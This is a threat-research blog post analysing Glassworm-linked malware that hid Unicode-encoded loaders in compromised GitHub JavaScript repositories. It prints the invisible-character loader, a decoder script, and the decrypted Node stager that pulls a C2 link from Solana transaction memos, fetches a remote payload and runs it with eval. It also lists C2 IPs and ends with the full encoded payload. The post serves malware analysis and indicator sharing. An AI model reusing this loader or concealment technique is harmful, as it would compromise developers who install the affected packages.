> For the complete documentation index, see [llms.txt](https://blog.pepperclipp.com/pepperclipp-public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.pepperclipp.com/pepperclipp-public/others/now-you-see-me-now-you-dont-analyzing-an-invisible-blockchain-c2-implant.md). # Now You See Me, Now You Don't - Analyzing an invisible Blockchain C2 implant On March 13, 2026, [Aikido released a new article](https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode) about malware, which they claim to be part of Glassworm, compromising GitHub repositories offering JS/NodeJS packages with a Unicode encoded payload, attempting to hide the real payload in plain sight. This seems to have been discussed a couple of days ago as well on [Reddit](https://www.reddit.com/r/github/comments/1rq8bxc/null_committed_to_most_of_my_repos_adding/). Aside from the payload being hidden using Unicode characters, the C2 communication is also interesting. It uses several Solana endpoints, connecting to them and retrieving the payload, which later gets executed on the machines. Looking into the search string Aikido offers on their article, we notice 104 repositories compromised with the malware. ### **Can’t see me, can’t see me** The loader itself is interesting. It checks for UTF-8 (characters 0xFE00 to 0xFE0F) or UTF-16 (0xE0100 to 0xE01EF) characters, and when it finds them, it decodes them and adds them as part of the payload, which is then executed through an eval(). It seems to achieve the conversion of the characters by reducing either 0xFE00 or 0xE0100+16 from the encoded character. Hear my story on how I came across this research on Its SOC Easy! Podcast episode: ``` uniw = w.codePointAt(0) // Unicode value of char 0 of input if (uniw>=0xFE00 && uniw<=0xFE0F){ uniw = uniw-0xFE00 }else if (uniw >= 0xE0100 && w <= 0xE01EF){ uniw = uniw-0xE0100+16 }else { uniw = null } eval(Buffer.from(s()).toString('utf-8')) ``` The payload itself seems to be just an empty string included inside the function s(”\`\`”), but upon copying it, we see a large bulk of data being pasted. A simple Python script to convert the characters to a string gives us a large AES-256 encrypted payload, alongside the key and the encryption function. ``` #!/usr/bin/env python3 import sys import unicodedata def process(text): for ch in text: print(char_info(ch)) if __name__ == "__main__": s = "`󠅋󠄞󠄞󠄞`" # Payload is here, trust me decoded = "" count = 0 for c in s: if ord(c) >= 0xFE00 and ord(c) <= 0xFE0F: decoded += chr(ord(c) - 0xFE00) elif 0xE0100 <= ord(c) <= 0xE01EF: decoded += chr(ord(c) - 0xE0100 + 16) else: count += 1 print(f"Full payload: {decoded}") print(f"Null chars count {count}") ``` ``` Full payload: [...(function*(){const d=require(’crypto’).createDecipheriv(’aes-256-cbc’,’zetqHyfDfod88zloncfnOaS9gGs90ONX’,Buffer.from(’a041fdaa0521fb5c3e26b217aaf24115’,’hex’));let b=d.update(’8486e --snip-- a85e0f9’,’hex’,’utf8’);b+=d.final(’utf8’);yield new Promise(r=>setTimeout(r,500));yield eval(b);})()][0].then(()=>{}); Null chars count 2 ``` Upon decrypting the code, we get the NodeJS code of the actual malware ``` var __defProp = Object.defineProperty; var __name = (target, value) => __defProp(target, “name”, { value, configurable: !0 }); var os = require(”os”), fs = require(”fs”), path = require(”path”); async function _getSignFAddress(publicKey, options = {}) { let limit = options.limit || 1e3, endpoints = [ “”, “”, “”, “”, “”, “”, “”, “”, “” ], lastError = null; for (let endpoint of endpoints) try { let response = await fetch(endpoint, { method: “POST”, headers: { “Content-Type”: “application/json” }, body: JSON.stringify({ jsonrpc: “2.0”, id: 1, method: “getSignaturesForAddress”, params: [publicKey.toString(), { limit }] }) }); if (!response.ok) throw new Error(”“); let data = await response.json(); if (data.zmwtjkgxor) throw new Error(”“); return data.result } catch (zmwtjkgxor) { lastError = zmwtjkgxor, await new Promise(resolve => setTimeout(resolve, 100)); continue } throw new Error(`${lastError?.message}`) } __name(_getSignFAddress, “_getSignFAddress”); function fvzsrnzlh() { return new Promise(async resolve => { try { let memo = null; for (; !memo;) { let signatures = await _getSignFAddress(”BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC”, { limit: 1e3 }); if (!Array.isArray(signatures) || Array.isArray(signatures) && signatures.length == 0) { await new Promise(resolve2 => setTimeout(resolve2, 1e4)); continue } memo = signatures.filter(x => x?.memo)[0].memo, await new Promise(resolve2 => setTimeout(resolve2, 1e4)) } let result2 = memo.replace(/\\[\\d+\\]\\s*/, “”); return resolve(JSON.parse(result2)) } catch (e) { return resolve(e.toString()) } }) } __name(fvzsrnzlh, “fvzsrnzlh”); new Promise(resolve => setTimeout(resolve, 10 * 1e3)).then(_ => { if (_isRussianSystem()) return; let homedir = process.env.USERPROFILE || os.homedir(), _path = path.join(homedir, “init.json”); if (fs.existsSync(_path)) { let check = fs.readFileSync(_path); try { if (check = JSON.parse(check), !(check?.date && check.date + 2 * 24 * 60 * 60 * 1e3 < Date.now())) return; check.date = Date.now(), fs.writeFileSync(_path, JSON.stringify(check)) } catch {} } os.platform() == “darwin” && fs.writeFileSync(_path, JSON.stringify({ date: Date.now() }), “utf-8”), fvzsrnzlh().then(_data => { scyzzvvy(atob(_data.link), async (zmwtjkgx, { uezupbxi, ypbtv, secretKey }) => { if (!uezupbxi) { console.log(”payload not get, “, atob(_data.link)); return } if (zmwtjkgx) await new Promise(resolve => setTimeout(resolve, 1e3)), fvzsrnzlh(); else { if (uezupbxi?.length == 20) { eval(atob(uezupbxi)); return } if (os.platform() == “darwin”) { let _iv = Buffer.from(ypbtv, “base64”); eval(atob(uezupbxi)) } else { let vm = require(”vm”), _context = { require, Buffer: require(”buffer”).Buffer, atob: __name(str => Buffer.from(str, “base64”).toString(”binary”), “atob”), btoa: __name(str => Buffer.from(str, “binary”).toString(”base64”), “btoa”), process, console, setTimeout, setImmediate, clearTimeout, setInterval, clearInterval }; vm.createContext(_context), new vm.Script(`var https = require(”https”); const secretKey = ‘${secretKey}’; const _iv = Buffer.from(’${ypbtv}’, “base64”) eval(atob(’${uezupbxi}’))`).runInContext(_context) } } }) }) }); var scyzzvvy = __name(async (usrhhlqwzd, oxfys) => { try { let response = await fetch(usrhhlqwzd, { headers: { os: os.platform() } }); if (response.ok) { let data = await response.text(), header = response.headers; oxfys(null, { uezupbxi: data, ypbtv: header.get(atob(”aXZiYXNlNjQ=”)), secretKey: header.get(atob(”c2VjcmV0a2V5”)) }) } else oxfys(new Error(”“)) } catch (zmwtjkgx2) { oxfys(zmwtjkgx2) } }, “scyzzvvy”); function _isRussianSystem() { let isRussianLanguage = [os.userInfo().username, process.env.LANG, process.env.LANGUAGE, process.env.LC_ALL, Intl.DateTimeFormat().resolvedOptions().locale].some(info => info && /ru_RU|ru-RU|Russian|russian/i.test(info)), timezoneInfo = [Intl.DateTimeFormat().resolvedOptions().timeZone, new Date().toString()], russianTimezones = [”Europe/Moscow”, “Europe/Kaliningrad”, “Europe/Samara”, “Asia/Yekaterinburg”, “Asia/Omsk”, “Asia/Krasnoyarsk”, “Asia/Irkutsk”, “Asia/Yakutsk”, “Asia/Vladivostok”, “Asia/Magadan”, “Asia/Kamchatka”, “Asia/Anadyr”, “MSK”], isRussianTimezone = timezoneInfo.some(info => info && russianTimezones.some(tz => info.toLowerCase().includes(tz.toLowerCase()))), utcOffset = -new Date().getTimezoneOffset() / 60, isRussianOffset = utcOffset >= 2 && utcOffset <= 12; return isRussianLanguage && (isRussianTimezone || isRussianOffset) } __name(_isRussianSystem, “_isRussianSystem”); ``` ### **Solana See2See** The stager uses an interesting approach to maintain a connection by connecting to Solana RPC endpoints and retrieving the payload from there. Before starting the attack, though, the attacker checks if the system language and timezone are Russian. If the system contains an indicator that is Russian, the malware stops. If no Russian language or timezone gets detected, then it proceeds with its tasks. ``` function _isRussianSystem() { let isRussianLanguage = [os.userInfo().username, process.env.LANG, process.env.LANGUAGE, process.env.LC_ALL, Intl.DateTimeFormat().resolvedOptions().locale].some(info => info && /ru_RU|ru-RU|Russian|russian/i.test(info)), timezoneInfo = [Intl.DateTimeFormat().resolvedOptions().timeZone, new Date().toString()], russianTimezones = [”Europe/Moscow”, “Europe/Kaliningrad”, “Europe/Samara”, “Asia/Yekaterinburg”, “Asia/Omsk”, “Asia/Krasnoyarsk”, “Asia/Irkutsk”, “Asia/Yakutsk”, “Asia/Vladivostok”, “Asia/Magadan”, “Asia/Kamchatka”, “Asia/Anadyr”, “MSK”], isRussianTimezone = timezoneInfo.some(info => info && russianTimezones.some(tz => info.toLowerCase().includes(tz.toLowerCase()))), utcOffset = -new Date().getTimezoneOffset() / 60, isRussianOffset = utcOffset >= 2 && utcOffset <= 12; return isRussianLanguage && (isRussianTimezone || isRussianOffset) } ``` Then, the attacker checks if the file \/info.json exists, and if not, creates it. They seem to be using this file as a logger for the date and time the commands come from the Solana RPC responses and are parsed based on the OS type. ``` let homedir = process.env.USERPROFILE || os.homedir(), _path = path.join(homedir, “init.json”); if (fs.existsSync(_path)) { let check = fs.readFileSync(_path); try { if (check = JSON.parse(check), !(check?.date && check.date + 2 * 24 * 60 * 60 * 1e3 < Date.now())) return; check.date = Date.now(), fs.writeFileSync(_path, JSON.stringify(check)) } catch {} } It seems to differentiate between MacOS machines and other VMs, where it uses eval() to execute the command on MacOS machines and runInContext() for VM machines. os.platform() == “darwin” && fs.writeFileSync(_path, JSON.stringify({ date: Date.now() }), “utf-8”), fvzsrnzlh().then(_data => { scyzzvvy(atob(_data.link), async (zmwtjkgx, { uezupbxi, ypbtv, secretKey }) => { if (!uezupbxi) { console.log(”payload not get, “, atob(_data.link)); return } if (zmwtjkgx) await new Promise(resolve => setTimeout(resolve, 1e3)), fvzsrnzlh(); else { if (uezupbxi?.length == 20) { eval(atob(uezupbxi)); return } if (os.platform() == “darwin”) { let _iv = Buffer.from(ypbtv, “base64”); eval(atob(uezupbxi)) } else { let vm = require(”vm”), _context = { require, Buffer: require(”buffer”).Buffer, atob: __name(str => Buffer.from(str, “base64”).toString(”binary”), “atob”), btoa: __name(str => Buffer.from(str, “binary”).toString(”base64”), “btoa”), process, console, setTimeout, setImmediate, clearTimeout, setInterval, clearInterval }; vm.createContext(_context), new vm.Script(`var https = require(”https”); const secretKey = ‘${secretKey}’; const _iv = Buffer.from(’${ypbtv}’, “base64”) eval(atob(’${uezupbxi}’))`).runInContext(_context) } } }) }) ``` It goes through several Solana RPC endpoints, such as ones managed by the Solana Framework itself, the ones managed by Tatum, BlockEden, PublicNode, etc. ``` async function _getSignFAddress(publicKey, options = {}) { let limit = options.limit || 1e3, endpoints = [ “”, “”, “”, “”, “”, “”, “”, “”, “” ], lastError = null; for (let endpoint of endpoints) try { let response = await fetch(endpoint, { method: “POST”, headers: { “Content-Type”: “application/json” }, body: JSON.stringify({ jsonrpc: “2.0”, id: 1, method: “getSignaturesForAddress”, params: [publicKey.toString(), { limit }] }) }); if (!response.ok) throw new Error(”“); let data = await response.json(); if (data.zmwtjkgxor) throw new Error(”“); return data.result } catch (zmwtjkgxor) { lastError = zmwtjkgxor, await new Promise(resolve => setTimeout(resolve, 100)); continue } throw new Error(`${lastError?.message}`) } function fvzsrnzlh() { return new Promise(async resolve => { try { let memo = null; for (; !memo;) { let signatures = await _getSignFAddress(”BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC”, { limit: 1e3 }); if (!Array.isArray(signatures) || Array.isArray(signatures) && signatures.length == 0) { await new Promise(resolve2 => setTimeout(resolve2, 1e4)); continue } memo = signatures.filter(x => x?.memo)[0].memo, await new Promise(resolve2 => setTimeout(resolve2, 1e4)) } let result2 = memo.replace(/\\[\\d+\\]\\s*/, “”); return resolve(JSON.parse(result2)) } catch (e) { return resolve(e.toString()) } }) } ``` Each of these hosts will contain a link, which by itself will contain another link, which, when passed on function scyzzvvy, will request the payload from those endpoints. {% code overflow="wrap" %} ``` curl -X POST $ENDPOINT -H “Content-Type: application/json” -d ‘{”jsonrpc”: “2.0”, “id”: 1, “method”: “getSignaturesForAddress”, “params”: [”BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC”, {”limit”: 1000}]}’ | jq . % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 14433 100 14292 100 141 65910 650 --:--:-- --:--:-- --:--:-- 66819 { “jsonrpc”: “2.0”, “result”: [ { “blockTime”: 1773406625, “confirmationStatus”: “finalized”, “err”: null, “memo”: “[75] {\\”link\\”:\\”aHR0cDovLzIxNy42OS4wLjE1OS9kcTFJTUV0ZVE0QWJPM2RhZVlHWFp3JTNEJTNE\\”}”, “signature”: “5tGxvnGFFp9b7cPjx6FN1aDMrPVc7PzLsdEknUmMbtsLqiWN7Edjqaj6CYPTsmaPyhi8AqU8aYc7NjyLBSUSXNtX”, “slot”: 406139943 } --snip-- ] } var scyzzvvy = __name(async (usrhhlqwzd, oxfys) => { try { let response = await fetch(usrhhlqwzd, { headers: { os: os.platform() } }); if (response.ok) { let data = await response.text(), header = response.headers; oxfys(null, { uezupbxi: data, ypbtv: header.get(atob(”aXZiYXNlNjQ=”)), secretKey: header.get(atob(”c2VjcmV0a2V5”)) }) } else oxfys(new Error(”“)) } catch (zmwtjkgx2) { oxfys(zmwtjkgx2) } }, “scyzzvvy”); ``` {% endcode %} The endpoints with the malware we found are: * 217.69.0.159 * 217.69.11.57 * 217.69.11.60 * 217.69.11.99 * 45.32.150.97 * 45.32.151.157 * 45.76.44.240 ## **Indicators of Compromise** ### **API Endpoints** * * * * * * * * * ### **Malware hosts** * 217.69.0.159 * 217.69.11.57 * 217.69.11.60 * 217.69.11.99 * 45.32.150.97 * 45.32.151.157 * 45.76.44.240 ### **Solana public key** `BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC` ### **Payload** {% code overflow="wrap" %} ``` const s=v=>[...v].map(w=>(w=w.codePointAt(0),w>=0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF?w-0xE0100+16:null)).filter(n=>n!==null);eval(Buffer.from(s(󠅋󠄞󠄞󠄞󠄘󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄚󠄘󠄙󠅫󠅓󠅟󠅞󠅣󠅤󠄐󠅔󠄭󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄗󠅓󠅢󠅩󠅠󠅤󠅟󠄗󠄙󠄞󠅓󠅢󠅕󠅑󠅤󠅕󠄴󠅕󠅓󠅙󠅠󠅘󠅕󠅢󠅙󠅦󠄘󠄗󠅑󠅕󠅣󠄝󠄢󠄥󠄦󠄝󠅓󠅒󠅓󠄗󠄜󠄗󠅪󠅕󠅤󠅡󠄸󠅩󠅖󠄴󠅖󠅟󠅔󠄨󠄨󠅪󠅜󠅟󠅞󠅓󠅖󠅞󠄿󠅑󠅃󠄩󠅗󠄷󠅣󠄩󠄠󠄿󠄾󠅈󠄗󠄜󠄲󠅥󠅖󠅖󠅕󠅢󠄞󠅖󠅢󠅟󠅝󠄘󠄗󠅑󠄠󠄤󠄡󠅖󠅔󠅑󠅑󠄠󠄥󠄢󠄡󠅖󠅒󠄥󠅓󠄣󠅕󠄢󠄦󠅒󠄢󠄡󠄧󠅑󠅑󠅖󠄢󠄤󠄡󠄡󠄥󠄗󠄜󠄗󠅘󠅕󠅨󠄗󠄙󠄙󠄫󠅜󠅕󠅤󠄐󠅒󠄭󠅔󠄞󠅥󠅠󠅔󠅑󠅤󠅕󠄘󠄗󠄨󠄤󠄨󠄦󠅕󠅑󠄦󠄡󠄢󠄢󠄤󠄠󠄢󠄣󠄢󠅕󠄠󠄧󠄣󠄥󠅖󠄨󠅖󠅕󠄩󠄨󠅕󠄨󠄥󠄣󠅒󠅖󠅕󠄢󠄣󠅖󠅓󠅒󠄣󠄨󠅒󠄣󠅕󠄡󠅔󠄣󠄨󠅕󠄦󠄡󠅔󠄦󠄡󠄢󠅑󠅖󠅑󠅔󠄠󠅔󠅒󠅑󠅑󠅕󠄥󠅕󠄥󠄣󠄢󠅖󠄤󠄧󠅑󠅔󠄧󠄦󠅔󠅓󠅓󠄧󠄧󠄩󠄡󠄩󠄤󠄥󠄩󠄩󠄥󠅖󠄦󠅓󠄠󠄠󠄦󠄧󠄤󠄡󠄣󠄨󠅑󠅕󠄤󠄢󠄢󠄡󠅖󠄧󠄢󠅓󠄡󠅓󠄦󠄡󠅕󠄠󠄨󠄩󠅔󠄦󠅒󠄦󠅒󠄣󠄦󠅓󠄩󠅔󠄧󠅖󠄤󠅒󠅔󠄣󠄦󠄥󠄠󠅖󠅔󠅓󠄦󠅖󠄠󠄤󠅒󠅔󠄣󠅑󠄥󠄩󠄤󠅑󠄩󠅔󠅒󠄡󠅖󠄧󠄡󠅓󠄥󠅕󠅕󠅑󠄧󠅒󠄠󠄥󠄥󠄤󠄢󠄨󠅕󠅖󠅑󠄨󠄨󠄩󠅑󠄠󠄨󠄢󠄡󠅔󠄡󠅒󠄢󠅖󠅒󠄢󠅕󠄧󠄨󠄣󠅕󠅑󠄩󠄨󠅕󠄡󠅑󠄩󠄤󠄨󠅔󠄡󠄥󠅕󠅕󠄥󠅑󠅔󠄨󠅓󠅒󠅓󠅖󠅒󠄠󠅑󠄨󠄤󠅔󠄧󠄨󠄩󠄡󠄡󠅕󠅒󠅒󠄣󠅓󠄢󠄩󠅓󠄤󠅓󠅓󠄣󠅓󠄢󠅔󠄨󠄢󠅓󠅓󠅓󠅓󠄢󠄦󠅑󠅓󠄢󠄠󠅔󠅖󠄡󠄩󠄤󠄢󠄠󠅒󠅒󠄨󠄡󠄤󠄥󠅖󠅓󠄠󠄥󠄢󠄤󠅒󠄨󠅖󠄧󠄤󠄥󠅓󠄢󠄤󠅔󠄡󠄣󠅔󠄣󠄨󠅓󠄩󠅕󠅕󠄢󠅓󠅔󠅕󠄢󠄡󠄡󠄥󠄤󠄢󠄩󠄣󠅖󠅓󠄤󠄢󠄡󠄧󠅔󠄦󠅓󠄥󠄢󠄧󠄣󠄧󠄨󠅕󠄩󠄦󠄩󠅔󠅕󠅑󠄥󠅑󠄦󠄧󠅕󠄧󠅓󠅒󠄤󠄨󠄡󠄦󠄨󠄦󠄠󠅑󠅕󠄨󠄥󠄩󠄠󠄥󠄧󠄣󠅒󠄣󠄢󠅒󠅒󠅖󠄩󠅒󠄠󠅓󠄡󠅓󠅕󠅖󠄡󠄠󠄨󠄡󠄠󠅖󠄩󠄩󠄥󠅒󠅒󠅓󠄤󠅑󠅑󠄩󠄦󠄨󠄧󠄧󠄨󠄦󠄦󠅓󠅑󠄠󠅔󠅑󠅕󠅔󠅓󠅖󠅑󠄩󠅑󠄥󠅓󠄧󠅔󠅑󠅑󠅓󠄤󠅓󠄩󠄩󠅓󠅔󠄨󠅖󠄤󠄥󠄦󠅖󠄤󠄨󠄡󠄨󠄠󠄡󠄢󠅖󠅔󠄦󠅕󠄨󠅓󠅕󠄨󠅕󠄠󠄢󠄧󠅖󠄠󠅒󠅓󠅑󠄦󠅔󠅔󠄤󠅓󠄡󠅔󠄣󠅑󠅑󠄤󠅖󠄤󠄥󠄢󠅕󠄡󠄣󠄥󠄠󠄤󠄤󠅒󠅕󠄩󠅔󠄠󠅒󠅓󠄥󠅒󠄡󠅓󠄣󠅑󠄩󠅖󠄤󠄩󠅑󠅒󠄥󠅔󠄡󠅕󠄡󠅑󠄣󠄨󠄥󠄥󠅒󠄧󠅓󠄩󠅔󠄥󠄣󠄥󠄩󠅖󠄣󠄤󠄠󠅑󠄩󠄡󠅕󠅒󠄤󠄢󠄨󠄤󠄧󠅕󠅑󠄠󠄡󠄦󠅓󠄢󠄡󠅑󠄩󠅖󠄥󠅕󠅓󠅕󠄧󠅕󠅑󠄩󠄤󠄡󠄠󠄤󠄢󠄩󠄤󠄨󠄠󠄧󠄣󠅓󠄧󠄩󠄩󠅒󠅔󠅓󠄠󠄧󠄧󠄣󠄧󠅖󠄢󠅔󠅓󠄨󠄣󠅑󠄨󠅓󠄡󠄦󠄦󠄦󠄣󠄦󠅔󠄧󠄠󠅒󠅑󠄦󠄨󠄦󠄢󠅒󠄢󠄠󠅑󠄧󠅕󠅔󠄧󠄧󠄡󠅕󠅔󠅔󠄩󠄦󠅔󠅔󠄩󠄤󠄦󠅕󠅓󠅑󠅒󠄡󠄠󠄥󠄤󠄡󠅒󠄢󠄠󠄨󠄢󠅒󠄧󠄥󠄢󠄢󠅖󠄢󠄢󠄩󠅒󠄩󠄤󠄣󠄨󠅒󠅑󠅔󠅕󠅑󠄤󠅑󠄡󠄠󠄨󠅕󠅖󠄣󠄡󠄩󠄥󠄢󠅒󠅔󠄩󠄩󠅕󠅕󠄨󠅕󠄦󠄥󠄡󠄢󠅖󠅒󠅓󠄣󠄢󠅒󠄩󠄣󠅒󠄨󠅑󠅕󠄤󠅕󠅒󠄦󠄨󠄩󠄤󠄢󠄣󠄦󠅒󠄠󠅔󠄩󠄣󠅓󠅓󠄢󠅕󠅑󠅖󠄣󠅑󠅖󠄦󠄩󠄦󠄣󠄣󠅒󠅖󠅓󠅖󠄤󠅑󠄥󠄢󠅑󠄢󠅔󠄦󠄧󠄨󠄩󠄦󠅔󠅑󠅑󠄧󠄧󠄩󠅔󠅑󠄢󠅖󠄢󠄦󠄦󠅒󠄨󠄦󠄢󠄦󠅕󠅔󠄢󠅑󠅔󠄧󠅒󠄧󠅑󠅒󠅕󠅔󠅔󠄠󠄡󠄧󠅕󠄢󠄢󠅒󠄡󠅕󠅖󠄢󠅑󠄤󠄤󠅓󠄣󠄡󠅖󠄣󠅕󠄦󠄦󠅒󠄠󠄠󠅓󠄡󠅒󠅔󠅑󠅔󠄦󠅖󠄦󠅓󠄦󠅓󠅖󠅓󠅒󠄨󠅖󠅓󠄤󠄠󠄩󠅔󠅑󠅔󠅑󠄦󠄧󠅓󠄦󠅔󠄦󠄦󠄧󠄩󠅒󠄠󠅑󠅕󠄠󠄡󠄥󠅖󠄩󠄣󠅓󠅔󠄧󠅔󠄡󠄥󠅖󠄨󠄨󠄩󠄧󠅔󠄩󠄥󠅒󠅒󠅕󠅒󠄦󠄠󠄩󠄩󠄡󠄤󠄤󠄠󠅓󠄡󠄡󠄤󠄣󠄠󠄨󠄧󠅒󠄢󠄩󠄨󠅔󠄦󠅖󠅑󠄨󠅕󠄢󠅖󠄣󠄤󠅓󠅖󠅔󠄨󠅔󠄨󠄥󠄨󠅒󠄤󠅑󠄦󠄡󠄦󠄩󠄨󠄦󠅖󠄡󠅕󠄧󠅒󠅒󠄦󠄢󠅑󠄦󠄥󠄩󠄣󠄡󠄣󠅕󠄨󠄠󠅑󠄦󠄢󠄡󠄩󠅖󠅔󠄢󠄦󠄡󠅒󠄤󠄧󠅓󠄤󠅕󠅑󠄨󠄤󠄡󠅓󠅒󠄥󠅑󠄧󠄢󠄨󠄡󠄥󠄧󠅑󠄩󠄧󠅖󠅑󠄥󠄢󠄥󠅖󠅓󠅕󠅖󠅔󠅔󠄥󠄥󠄣󠄡󠄧󠅓󠅖󠅓󠄣󠄢󠄤󠄨󠄤󠄦󠄦󠄩󠅓󠄦󠅖󠄡󠄡󠄦󠄠󠅒󠄦󠄣󠄠󠄠󠄡󠄨󠅓󠄩󠄦󠄤󠄧󠅑󠄩󠄦󠄩󠅔󠄩󠄧󠄣󠅔󠅓󠄥󠄠󠅔󠄣󠄩󠅕󠅑󠄦󠅕󠄢󠄣󠅕󠅑󠄧󠅔󠄩󠄩󠄨󠄤󠄩󠄠󠄦󠄩󠄥󠄥󠅕󠄦󠅕󠄨󠄩󠅓󠄧󠄨󠄢󠄤󠄩󠄣󠄣󠄡󠄦󠅑󠄠󠅓󠅕󠅑󠅔󠅑󠄩󠄩󠅖󠅖󠄠󠅔󠄡󠅖󠅕󠄨󠄡󠄢󠅑󠄧󠄥󠅒󠄣󠄢󠄨󠄦󠄣󠄠󠄠󠄤󠄣󠅑󠄠󠅔󠄠󠄤󠅖󠄧󠄤󠄤󠄤󠄣󠄩󠄤󠄢󠄦󠄧󠄥󠄣󠅕󠅒󠄠󠄧󠄩󠄡󠅔󠄩󠄥󠄣󠅓󠄢󠅔󠅖󠄥󠄠󠄩󠅔󠅒󠄥󠄤󠄩󠅕󠄤󠅕󠅔󠅔󠄦󠄨󠄦󠅕󠄨󠄦󠅔󠅑󠅒󠄦󠅕󠅕󠅓󠅖󠄣󠄥󠄨󠄧󠄤󠄤󠅒󠅕󠅔󠅕󠄨󠄠󠄡󠅓󠄢󠄩󠅒󠅖󠅔󠄦󠅒󠅑󠅖󠄠󠅕󠅑󠅔󠅔󠄣󠄦󠄦󠄡󠅔󠅒󠄢󠄣󠄦󠄠󠅖󠄢󠅔󠄤󠄦󠄣󠄢󠄡󠄩󠅓󠄧󠅓󠅒󠅒󠄢󠄢󠅖󠅑󠅑󠅔󠄥󠅕󠅕󠅒󠄠󠅖󠅖󠅖󠄨󠄤󠅒󠄦󠅔󠄨󠄨󠄨󠄤󠄦󠄧󠅓󠄦󠄦󠅖󠅓󠅒󠅒󠄥󠄤󠅒󠄤󠄨󠄨󠄣󠄣󠅓󠄠󠅓󠄤󠄦󠅔󠄦󠄡󠄤󠅔󠄥󠄩󠅖󠅒󠄧󠄥󠄧󠅕󠅖󠄧󠄠󠅔󠄧󠅖󠅑󠅓󠅖󠅔󠅔󠅔󠄣󠄠󠄥󠅓󠅖󠄥󠅑󠅖󠄦󠅔󠄡󠄤󠄦󠄥󠄠󠄣󠅖󠅖󠄤󠅒󠄢󠄦󠄠󠄧󠄥󠅓󠄨󠅒󠄤󠄦󠅕󠄢󠅑󠅕󠄠󠅑󠅖󠄩󠄤󠄡󠄥󠄣󠅒󠄧󠄨󠅕󠄢󠅒󠅓󠄣󠄢󠅕󠄩󠄣󠄢󠅖󠄣󠅕󠄡󠅕󠄡󠄧󠄧󠄩󠅒󠅒󠄡󠄨󠅓󠄩󠄦󠄢󠄠󠄢󠅕󠅔󠅖󠄧󠅒󠅑󠅑󠅕󠅕󠅔󠅖󠅓󠄧󠄡󠅑󠄣󠄧󠄦󠄥󠄨󠄥󠄤󠅕󠅖󠄢󠄡󠄥󠅑󠄤󠅒󠄧󠅒󠄣󠄢󠅒󠅕󠄦󠄦󠅖󠄣󠅕󠄢󠅓󠄧󠅑󠅓󠅕󠄢󠄡󠄩󠄣󠄤󠄦󠄣󠄨󠄣󠄢󠄠󠅖󠄧󠄠󠄤󠄨󠅔󠅖󠄦󠄧󠅖󠄠󠅔󠅕󠅑󠅓󠅔󠄤󠅕󠄦󠄣󠄩󠄢󠄣󠄣󠄩󠄠󠄧󠄠󠅒󠅒󠄥󠅕󠄨󠄦󠄩󠅒󠅑󠄩󠄢󠅕󠅔󠄦󠄢󠄡󠅓󠄨󠄦󠅓󠄠󠄩󠄦󠄡󠄣󠄦󠄢󠄢󠅑󠄤󠅖󠅕󠄡󠄠󠅖󠄦󠅑󠄦󠄡󠄩󠄩󠅕󠅖󠄥󠅔󠅒󠅑󠅑󠄡󠄤󠅒󠄧󠄦󠅓󠅖󠄥󠅒󠄡󠄦󠄠󠄧󠅒󠄩󠅕󠄡󠅓󠅒󠅑󠄧󠄨󠅓󠅓󠅕󠄡󠄠󠅓󠅒󠅔󠅔󠄧󠄥󠅑󠅑󠅑󠅔󠅔󠄡󠄠󠅔󠅑󠄡󠄠󠄦󠅖󠅖󠅖󠄢󠄦󠄣󠅕󠄨󠅒󠄣󠄤󠄥󠄢󠅓󠄡󠄤󠄧󠄢󠅓󠄥󠅖󠅒󠅒󠅓󠄦󠄥󠄦󠄨󠄦󠄡󠄠󠄨󠄥󠄦󠄤󠅑󠄨󠅓󠅖󠅓󠄥󠄥󠄡󠅓󠄤󠄦󠄤󠅑󠅓󠅑󠅖󠅒󠅑󠄠󠅖󠄢󠅑󠄣󠅒󠄩󠄣󠄣󠄦󠅖󠅕󠄩󠄦󠄦󠅒󠅔󠄧󠄣󠄢󠄥󠄥󠄩󠄡󠄤󠅕󠅖󠅕󠄩󠄩󠄠󠄥󠅒󠅒󠄦󠄡󠄠󠄨󠅖󠄠󠄥󠄡󠄥󠄣󠅔󠅑󠄦󠄨󠄦󠄩󠄦󠄢󠄠󠄧󠄥󠄩󠄤󠄢󠄤󠄤󠅕󠄥󠄧󠄣󠄦󠅓󠅔󠅑󠅖󠄢󠄤󠄠󠄥󠄣󠄤󠄤󠅔󠄣󠅖󠄤󠄩󠄡󠄢󠄨󠅖󠄧󠅔󠅖󠄡󠄡󠅕󠄥󠅒󠄤󠄧󠄣󠄦󠅖󠄥󠄧󠅓󠅕󠄤󠅕󠅔󠅔󠄡󠄢󠄡󠄠󠄦󠄦󠄩󠅖󠅔󠅒󠄦󠄦󠄢󠄤󠅔󠄤󠅖󠅕󠅑󠄢󠄨󠄧󠄦󠅕󠅓󠅑󠅖󠄨󠅓󠄧󠄣󠄠󠄩󠄥󠄦󠅔󠄣󠄩󠅓󠄡󠅒󠅑󠄥󠄨󠄧󠄠󠅒󠄨󠅑󠅓󠅒󠅔󠅑󠄢󠄣󠄧󠄤󠄢󠅑󠄨󠄩󠄠󠄢󠅔󠅖󠅒󠅔󠅖󠄥󠅑󠄧󠄧󠄤󠄤󠄧󠅓󠄣󠄡󠅒󠄨󠄢󠅕󠄡󠅒󠄢󠅒󠄥󠄧󠄧󠄨󠅓󠄦󠄨󠄡󠄤󠅔󠄧󠅑󠄦󠄥󠅕󠅓󠅕󠅔󠅒󠄨󠄧󠅖󠅒󠄩󠄥󠄦󠄥󠅓󠅒󠅒󠄥󠄤󠅕󠄢󠄡󠅕󠄡󠄢󠄦󠄩󠅕󠄠󠄡󠄧󠄤󠄩󠄠󠄦󠄩󠄣󠄡󠅒󠄨󠄩󠄤󠄣󠄦󠄠󠄢󠄤󠄨󠄨󠄥󠄤󠅕󠄠󠄩󠄩󠅓󠅔󠄧󠄦󠄤󠄩󠄦󠅖󠅔󠄤󠄢󠅕󠄦󠄣󠄠󠄠󠄠󠄤󠄥󠄢󠄤󠅑󠄨󠄧󠄨󠄠󠅓󠄢󠅑󠄠󠄧󠄩󠄢󠄨󠄧